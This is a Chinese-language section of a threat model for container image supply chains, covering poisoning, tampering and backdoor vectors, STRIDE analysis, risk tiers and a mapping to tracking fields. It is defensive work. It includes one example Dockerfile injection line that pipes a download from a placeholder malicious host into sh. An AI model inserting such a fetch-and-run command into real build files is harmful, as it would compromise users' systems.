2. 镜像供应链安全威胁模型:常见攻击向量、威胁建模方法与风险等级划分
镜像供应链安全威胁模型是理解攻击者如何利用容器镜像从构建到运行全链路漏洞的基础。本节将系统梳理三大类常见攻击向量,引入STRIDE威胁建模方法进行结构化分析,并建立风险等级划分标准,为后续PDB追踪与样本抽检提供威胁导向依据。
2.1 常见攻击向量:投毒、篡改、后门
镜像供应链的攻击向量可归纳为三大核心类别,每类对应不同的攻击阶段与危害程度。
| 攻击向量 | 攻击阶段 | 典型手法 | 危害等级 |
|---|---|---|---|
| 投毒(Poisoning) | 构建前 / 构建中 | 恶意基础镜像、依赖包投毒、构建脚本注入 | 严重 |
| 篡改(Tampering) | 构建后 / 传输中 / 存储中 | 镜像层替换、镜像标签覆盖、注册表劫持 | 高危 |
| 后门(Backdoor) | 构建中 / 运行时 | SSH密钥植入、反向Shell、定时任务后门 | 严重 |
关键洞察: 投毒与后门往往在构建阶段即被植入,传统镜像扫描工具难以在运行时发现;篡改则主要威胁镜像的完整性与来源可信度。
2.1.1 投毒攻击详解
- 基础镜像投毒: 攻击者上传包含恶意软件的镜像到公共仓库(如Docker Hub),诱导开发者直接使用。例如:
node:14-slim被替换为包含挖矿程序的同名镜像。 - 依赖包投毒: 在npm、PyPI、Maven等包管理器中上传同名或相似名的恶意包,通过自动依赖解析进入镜像。
- 构建脚本注入: 在Dockerfile的
RUN指令中嵌入恶意命令,如curl http://malicious/payload | sh。
2.1.2 篡改攻击详解
- 镜像层篡改: 攻击者获取镜像层访问权限后,替换或插入恶意层,破坏镜像完整性。
- 标签覆盖: 利用注册表权限缺陷,将恶意镜像推送到合法镜像的标签下,如
myapp:latest被覆盖。 - 中间人篡改: 在镜像拉取过程中,通过MITM攻击修改传输中的镜像层数据。
2.1.3 后门攻击详解
- SSH密钥植入: 在镜像中预置攻击者的公钥,允许远程SSH登录。
- 反向Shell: 在容器启动时自动执行反向连接命令,建立持久化控制通道。
- 定时任务后门: 通过cron或systemd定时器定期执行恶意负载,规避实时检测。
2.2 威胁建模方法:STRIDE
STRIDE是由微软提出的威胁建模框架,将安全威胁分为六类。将其应用于镜像供应链,可系统化识别每个环节的威胁面。
| STRIDE类别 | 镜像供应链对应威胁 | 典型场景 |
|---|---|---|
| S - Spoofing(欺骗) | 镜像来源伪造、签名冒用 | 攻击者使用伪造的镜像签名,冒充官方发布 |
| T - Tampering(篡改) | 镜像层数据篡改、元数据修改 | 镜像在传输过程中被中间人替换层内容 |
| R - Repudiation(抵赖) | 构建/发布行为无法追溯 | 缺乏不可否认的构建日志,攻击者可否认操作 |
| I - Information Disclosure(信息泄露) | 镜像层包含敏感信息 | 构建时未清理的环境变量、密钥文件被保留在镜像层 |
| D - Denial of Service(拒绝服务) | 镜像仓库/构建系统资源耗尽 | 攻击者通过大量无效镜像推送耗尽注册表存储 |
| E - Elevation of Privilege(权限提升) | 容器逃逸、非授权访问宿主机 | 镜像内植入的提权漏洞利用程序在运行时触发 |
实践建议: 在镜像供应链中,T(篡改) 和 S(欺骗) 是最常被利用的威胁类别,应优先通过签名验证和完整性校验进行防御。
2.3 风险等级划分
基于攻击向量的危害程度与STRIDE威胁分类,建立三级风险等级体系,用于指导PDB追踪的优先级与样本抽检频率。
| 风险等级 | 颜色标识 | 对应攻击向量 | STRIDE类别 | 处置策略 |
|---|---|---|---|---|
| 严重(Critical) | 红色 | 投毒、后门 | S, E | 立即阻断镜像使用,启动PDB全链路追溯与强制样本抽检 |
| 高危(High) | 橙色 | 篡改 | T, R | 暂停镜像分发,验证签名与完整性,执行定向抽检 |
| 中危(Medium) | 黄色 | 信息泄露、拒绝服务 | I, D | 标记镜像,增加PDB追踪字段,按计划抽检 |
注意: 风险等级划分不是静态的。当同一镜像同时命中多个攻击向量时,风险等级自动提升至最高级别。例如:一个同时存在投毒和后门的镜像,即使信息泄露风险仅为中危,整体风险仍判定为严重。
2.4 威胁模型与PDB追踪的映射关系
将STRIDE威胁类别与PDB追踪字段建立映射,确保每个威胁面都有对应的可追溯数据支撑。
| STRIDE类别 | PDB追踪字段 | 数据来源 | 抽检验证方法 |
|---|---|---|---|
| S - 欺骗 | 镜像签名指纹、发布者身份 | 签名服务、OIDC令牌 | 签名验证、身份断言校验 |
| T - 篡改 | 镜像层哈希、构建时间戳 | 构建日志、注册表元数据 | 哈希比对、时间线一致性检查 |
| R - 抵赖 | 构建流水线ID、操作审计日志 | CI/CD系统、审计服务 | 日志完整性验证、不可否认性证明 |
| I - 信息泄露 | 镜像层文件列表、敏感内容扫描结果 | 镜像扫描器、静态分析工具 | 正则匹配、密钥检测规则 |
| D - 拒绝服务 | 镜像拉取频率、仓库存储用量 | 监控系统、仓库API | 异常流量检测、资源配额审计 |
| E - 权限提升 | 容器运行时配置、安全上下文 | Kubernetes审计、容器运行时 | 权限基线比对、逃逸漏洞扫描 |
核心原则: 每个STRIDE威胁类别至少对应一个PDB追踪字段,确保威胁模型可落地为可审计、可验证的追踪数据。样本抽检策略应优先覆盖严重与高危等级对应的PDB字段。